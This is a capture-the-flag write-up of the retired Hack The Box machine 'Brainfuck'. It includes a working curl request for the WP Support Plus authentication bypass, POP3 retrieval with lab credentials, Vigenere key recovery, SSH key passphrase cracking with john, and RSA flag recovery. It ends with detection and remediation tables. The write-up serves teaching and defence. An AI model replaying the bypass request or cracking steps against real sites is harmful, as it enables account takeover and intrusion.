Overview
Brainfuck is a retired Insane-rated Linux machine created by ch4p. It runs Ubuntu 16.04 with five services: SSH (22), SMTP (25), POP3 (110), IMAP (143), and HTTPS (443) via nginx. No HTTP on port 80; all web traffic is TLS-only.
The attack chain is unusually long for a single host. It spans six exploitation steps across four protocols and concludes with an RSA cryptography challenge rather than traditional privilege escalation. The WP Support Plus plugin contains an authentication bypass. SMTP credentials stored in plaintext in WordPress lead to email access. An email contains Flarum forum credentials. An encrypted forum thread uses the Vigenere cipher, broken via known-plaintext attack. The decrypted thread reveals a URL to an encrypted SSH private key. Cracking the key passphrase yields user access. A SageMath script leaks RSA private key components to a debug file, allowing mathematical recovery of the root flag.
What makes this box interesting is not any single vulnerability, but the chain length and the shift from systems exploitation to cryptanalysis for the final step. Every link in the chain is individually simple; the difficulty lies in connecting them.
Reconnaissance
nmap -sC -sV -T4 10.129.228.97
| Port | Service | Product / Version | Notes |
|---|---|---|---|
| 22 | SSH | OpenSSH 7.2p2 Ubuntu | Maps to Ubuntu 16.04 |
| 25 | SMTP | Postfix smtpd | |
| 110 | POP3 | Dovecot pop3d | |
| 143 | IMAP | Dovecot imapd | |
| 443 | HTTPS | nginx 1.10.0 | SSL cert: brainfuck.htb |
The SSL certificate’s Subject Alternative Name field discloses three hostnames:
brainfuck.htb, www.brainfuck.htb, and sup3rs3cr3t.brainfuck.htb. The
“sup3rs3cr3t” naming convention is a strong signal for a hidden service.
Two web applications run on port 443: WordPress 4.7.3 at brainfuck.htb and a
Flarum forum titled “Super Secret Forum” at sup3rs3cr3t.brainfuck.htb.
Attack Surface Analysis
WordPress user enumeration via the REST API identifies user ID 1 as “admin”.
The front page exposes an email: [email protected]. Directory listing is
enabled on /wp-content/plugins/, revealing two plugins:
- WP Support Plus Responsive Ticket System 7.1.3
- Easy WP SMTP 1.2.5
WP Support Plus 7.1.3 has a known authentication bypass (EDB-41006). The
loginGuestFacebook AJAX handler calls wp_set_auth_cookie() based solely on
user ID and email, without verifying any password or OAuth token. It is
registered under wp_ajax_nopriv_, meaning it executes for unauthenticated
requests.
Easy WP SMTP stores the SMTP password in plaintext in the wp_options table.
The Flarum forum has one public discussion and requires authentication for additional content.
Vulnerability Analysis
EDB-41006: WP Support Plus Authentication Bypass
| Attribute | Value |
|---|---|
| EDB | 41006 |
| CVSS 3.1 | 9.1 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N) |
| CWE | CWE-287 (Improper Authentication) |
| Root cause | wp_set_auth_cookie() called without password verification |
| Prerequisite | Knowledge of a valid WordPress user email |
The Exploit-DB entry references an action named loginGuestFac498, which is a
truncated artefact. The actual handler name is loginGuestFacebook.
Exploitation
Step 1: WordPress auth bypass
curl -sk -c cookies.txt -X POST \
https://brainfuck.htb/wp-admin/admin-ajax.php \
-d 'action=loginGuestFacebook&name=admin&username=1&[email protected]'
Valid WordPress authentication cookies for user ID 1 are returned. The session
grants dashboard access but lacks the manage_options capability, creating a
constrained admin session.
Step 2: SMTP credential extraction
The Easy WP SMTP plugin settings page stores the SMTP password in an HTML input
field. The settings page requires manage_options, which the constrained session
lacks. The SMTP password kHGuERB29DNiNE was confirmed working through POP3
login. The credential provides access to orestis’s mailbox.
Step 3: Email retrieval via POP3
curl -s pop3://10.129.228.97/2 -u '[email protected]:kHGuERB29DNiNE'
Email 2 from [email protected] contains Flarum forum credentials:
username: orestis
password: kIEnnfEKJ#9UmdO
Step 4: Vigenere cipher decryption
After logging into the Flarum forum, three discussions are visible. The “Key” discussion contains encrypted messages. Orestis signs every post with a consistent phrase, providing known plaintext:
Known plaintext: Orestis - Hacking for fun and profit
Ciphertext: Pieagnm - Jkoijeg nbw zwx mle grwsnn
The Vigenere key recovery is straightforward: for each letter position,
K[i] = (C[i] - P[i]) mod 26. The recovered key is fuckmybrain (period 11).
Decrypting the URL from the thread:
Ciphertext: mnvze://zsrivszwm.rfz/8cr5ai10r915218697i1w658enqc0cs8/ozrxnkc/ub_sja
Plaintext: https://brainfuck.htb/8ba5aa10e915218697d1c658cdee0bb8/orestis/id_rsa
Step 5: SSH key cracking
The URL serves an RSA private key encrypted with AES-128-CBC. The passphrase cracks with john and rockyou.txt:
ssh2john id_rsa > id_rsa.hash
john --wordlist=/usr/share/wordlists/rockyou.txt id_rsa.hash
# 3poulakia! (id_rsa)
SSH login as orestis:
ssh -i id_rsa [email protected]
# Enter passphrase: 3poulakia!
# uid=1000(orestis) gid=1000(orestis) groups=...,110(lxd)
User flag obtained.
Step 6: RSA cryptanalysis for root flag
A SageMath script (encrypt.sage) in orestis’s home directory reads
/root/root.txt, encrypts it with RSA using 1024-bit primes, and writes the
ciphertext to output.txt. It also writes the RSA private key components
(p, q, e) to debug.txt, which is readable by orestis.
from Crypto.Util.number import long_to_bytes, inverse
p = <value from debug.txt line 1>
q = <value from debug.txt line 2>
e = <value from debug.txt line 3>
c = <value from output.txt>
n = p * q
phi = (p - 1) * (q - 1)
d = inverse(e, phi)
m = pow(c, d, n)
flag = long_to_bytes(m).decode()
# [flag redacted]
Root flag obtained.
No root shell was obtained. The RSA decryption recovers the flag directly. An
alternative path exists via orestis’s lxd group membership: creating a
privileged container that mounts the host filesystem would provide a true root
shell if needed.
Post-Exploitation
The system runs Ubuntu 16.04 with kernel 4.4.0-75-generic, well past end-of-life.
Orestis is a member of the lxd group, the adm group (log access), and
several desktop groups. The kernel is vulnerable to DirtyCow (CVE-2016-5195)
and multiple AF_PACKET local privilege escalation CVEs.
Key files in orestis’s home directory:
encrypt.sage: the RSA encryption script (Python 2 era SageMath)debug.txt: RSA key components (p, q, e)output.txt: encrypted root flag ciphertext.ssh/: contains the encrypted private key served via the hidden web path
Defensive Analysis
| Phase | MITRE ATT&CK | Detection |
|---|---|---|
| Initial Access | T1190 Exploit Public-Facing App | WP Support Plus loginGuestFacebook AJAX call |
| Credential Access | T1552.001 Credentials in Files | SMTP password from Easy WP SMTP wp_options |
| Credential Access | T1114.002 Remote Email Collection | POP3 retrieval of forum credentials |
| Credential Access | T1110.002 Password Cracking | SSH key passphrase cracked with john |
| Defence Evasion | T1140 Deobfuscate/Decode | Vigenere cipher decryption for SSH key URL |
| Lateral Movement | T1021.004 SSH | SSH login with cracked private key |
| Credential Access | T1552.004 Private Keys | RSA key components from debug.txt |
| Collection | T1005 Data from Local System | Root flag recovery via RSA decryption |
The most effective detection point is the WordPress AJAX endpoint. Any call to
loginGuestFacebook from an external IP is suspicious; the handler should not
exist in production. POP3 logins from unexpected IPs (especially via HackTheBox
VPN ranges) would also trigger in a properly monitored environment.
Remediation
| Priority | Action | Effort | Impact |
|---|---|---|---|
| P0 | Remove WP Support Plus plugin (or delete loginGuestFacebook handler) | Low | Critical |
| P0 | Delete debug.txt; remove debug output from encrypt.sage | Low | Critical |
| P0 | Rotate all compromised credentials (SMTP, forum, SSH key) | Low | Critical |
| P1 | Replace Easy WP SMTP with a plugin that encrypts stored credentials | Low | High |
| P1 | Transmit credentials via encrypted channels (GPG, password manager) | Low | High |
| P1 | Generate new SSH keypair with strong passphrase (20+ chars) | Low | High |
| P2 | Replace Vigenere cipher with AES-256-GCM for forum encryption | Medium | Medium |
| P2 | Disable nginx directory listing for wp-content directories | Low | Medium |
| P3 | Upgrade full stack: Ubuntu 22.04+, current WordPress, nginx, SSH | High | High |
The deepest issue is the operating system. Ubuntu 16.04 went end-of-life in April 2021. The kernel is vulnerable to multiple local privilege escalation CVEs. Even if every application-layer finding were remediated, the host remains compromisable through kernel exploits.
Key Takeaways
-
Attack chain length does not correlate with individual step complexity. Each link in this six-step chain is individually straightforward: a known plugin exploit, plaintext credentials in a config file, plaintext credentials in email, a 19th-century cipher, a dictionary-crackable passphrase, and textbook RSA decryption. The difficulty is recognising the chain and connecting the steps.
-
The Vigenere cipher provides no meaningful security. It was broken in 1863. When the attacker possesses known plaintext (a consistent signature), key recovery is mechanical. Any system using polyalphabetic substitution for confidentiality should be treated as cleartext.
-
Debug output is a persistent vulnerability class. The
debug.txtfile containing RSA private key components is the most common form of this pattern: developers write sensitive intermediate values to disk during testing and forget to remove them. Automated CI checks for files nameddebug.*,test.*, or containing key material patterns would catch this class systematically.